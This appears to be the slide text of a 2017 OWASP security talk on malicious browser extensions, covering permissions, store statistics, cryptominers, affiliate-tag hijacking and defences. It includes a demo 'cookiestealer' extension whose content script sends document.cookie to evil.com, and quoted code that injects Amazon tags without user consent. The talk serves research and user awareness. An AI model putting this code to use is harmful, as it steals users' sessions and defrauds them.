The Evil Friend in Your Browser

Software Assurance & Security Research

Department of Computer Science, The University of Sheffield, Sheffield, UK https://logicalhacking.com/


> OWASP Benelux-Day 2017 November 24, 2017 Tilburg, The Netherlands



Open Web Application Security Project


Outline


- 1 Motivation
- What are extensions: user perspective
- What are extensions: developer perspective
- Real world extensions
- 5 Outlook





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Protecting Web Users

- HttpOnly
- Same-origin policy
- Content Security Policy (CSP)
- **...**



- The major browser vendors
 - take security seriously
 - investing a lot in making web browsers secure and trustworthy



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 - can extend/modify the browser
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
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 - investing a lot in making web browsers secure and trustworthy
- We have a good basis for secure web applications,
 - until we add extensions:
 - can extend/modify the browser
 - anybody can write/offer them
 - ➡ might tear down the defence from inside




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
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- Google says:
 - **small** software programs
 - Little to no user interface




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



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



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- What we find:
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- What extension can do:
 - modify the user interface (how your browser behaves)
 - modify web pages (what you see)
 - modify web request (what you enter)



















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



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- and sold the data to third parties
- A German TV station bought the data
- 📮 "de-anonymized" it
- and found critical data, e.g.:
 - tax declaration of a member of the German parliament
 - details about international search warrants
 - **>** ..






























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The architecture of browser extensions



```
"update url":
 "https://clients2.google.com/service/update2/crx",
"name": "Test Extension",
"manifest_version": 2,
"permissions": ["tabs", "<all urls>", "webRequest"],
"content scripts": [
       "js": ["content_script.js"],
       "matches": ["<all_urls>"],
       "run at": "document start"
"background": {
  "scripts": ["background.js"]
```

Security mechanism: Permissions

Background Scripts

Two-dimensional permission system:

- functional permissions: tabs, bookmarks, webRequest, desktopCapture, ...
- host permissions: https://*.google.com, http://www.facebook.com, but also <all_urls> and https://*/*

Host permissions restrict effect of some functional permissions

Content Scripts

Black and white: either injecting script, or not

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Chrome Web Store




available in the


Wide variety of categories:

productivity 32.29% 15.86% fun communication 12.64% accessibility 10.05% web_development 9.95% search tools 5.87% 4.83% shoppina 3.51% news 2.10% photos blogging 1.86%

- Main way of distributing extensions
- (ca. 10% got removed during last 5 months)




Our "Big Data" extension archive





- Daily snapshots of over 125'000 artifacts
- Over 3TB in size
- Over 23GB JavaScript (over 3'9 billion LOC)

Download numbers




Extensions can be big






Observe our browsing behaviour

- Permission: tabs or <all_urls>, or content script on all sites
- Needed for many simple extensions
- Can monitor your complete history, incl. full urls




Observe our browsing behaviour

- Permission: tabs or <all_urls>, or content script on all sites
- Needed for many simple extensions
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- 57% of 80.000 extensions




Circumvent security measures

- Permission: <all_urls> and webRequest
- Can intercept and change all HTTP headers!
- Disable Content-Security-Policy, Same-origin Policy, etc.
- Breaks security guarantees of web browsers!



Circumvent security measures

- Permission: <all_urls> and webRequest
- Can intercept and change all HTTP headers!
- Disable Content-Security-Policy, Same-origin Policy, etc.
- Breaks security guarantees of web browsers!
- 9% of 80.000 extensions



```
michael@X1
               ~/projects/cookiestealer
                                          ls
content script.js manifest.json
michael@x1
                                        vim manifest.ison
michael@X1
             ~/projects/cookiestealer
                                        ls
content script.js manifest.json
michael@X1
             ~/projects/cookiestealer
                                        cat manifest.ison
    "update url": "https://clients2.google.com/service/update2/crx",
    "name": "Test Extension".
    "version": "0.1".
    "manifest version": 2.
    "description": "This test extension steals all your cookies.".
    "content scripts": [
           "all frames": true,
           "js": ["content script.js"],
           "matches": ["<all urls>"].
           "run at": "document start"
michael@X1 ~/projects/cookiestealer
                                        cat content script.is
var httpRequest = new XMLHttpRequest():
httpRequest.open('GET', 'https://evil.com/?cookies=' + document.cookie);
httpRequest.send():
michael@X1 ~/projects/cookiestealer
```

Mining Monero (an AltCoin - think Bitcoin)




- First extension:
 - Large press coverage
 - Less than 24 hours in Chrome store (before removed by Google)
- Two days after press releases:
 - ★ At least 16 other mining extensions
 - Most of them seemed un-maintained
 - Updates to fix permissions (required by the mining code)
 - ▶ Different wallets, but extensions from same author use same wallet

Monetization Amazon tags

```
window.addEventListener("load", function() {
 fvdSpeedDial.Utils.Opener.
              addModificator(function(url) {
  trv {
  var parsedUrl = fvdSpeedDial.Utils.parseUrl(url);
  var host = parsedUrl.host.toLowerCase();
  var path = parsedUrl.path.toLowerCase():
  host = host.replace(/^www\./, "");
   if (/^amazon\./.test(host)
       && isAmazonProductPath(path)
       && path.indexOf("?tag=") === -1
       && path.indexOf("&tag=") === -1) {
   for (var zone in domainTags) {
     var regExp = new RegExp("amazon\\."
                + zone.replace(",", "\\,")):
     if (regExp.test(host)) {
      var modifiedUrl = addTagToUrl(url.
                        domainTags[zone]);
      return modifiedUrl
  }}}} catch (ex) {}
})}. false)
```

- Violation of the Amazon Terms of Services
- Dynamic analysis
 - amazon.co.uk declared: 7, non-declared 26
 - amazon.com declared: 14, non-declared 33
 - amazon.it declared: 5, non-declared 22
- ca. 20000 users affected (without consent)

Dynamic Analysis for Detecting Privacy Violations



Our Dynamic analysis detected extensions that

- inject benign analytics in all websites
- monitor the complete browsing behavior
- can observe all data entered into websites

In total

- Running each extensions on 10 websites
- 18 extensions use this attack (over 250k users affected)

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How can we make web browsing great* again?



great = ensuring the security, integrity, and privacy of the user of a web browser

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great = ensuring the security, integrity, and privacy of the user of a web browser

- Integrity:
 - content modifications
 - layout modifications
- Confidentiality:
 - data storage
 - transmitted data
- Privacy:
 - access to sensors
 - personal identifiers

Outlook: On the long term



- Sandboxing of extensions
- A different permission model
 - **!** granularity?
 - dynamic vs static?
- Better explanation for users
- Better analysis/test tools for extensions

Expect updates from us in the future ...

Outlook: On the short term (1/2)

Frequent updates

VS

Governance





Outlook: On the short term (1/2)

Frequent updates

VS

Governance



Outlook: On the short term (2/2)

- Check the vendor of the extension carefully
- Check the permissions (i.e., active domains)
- Use browser profiles
- Be aware of the risk



Thank you for your attention! Any questions or remarks?

Contact:



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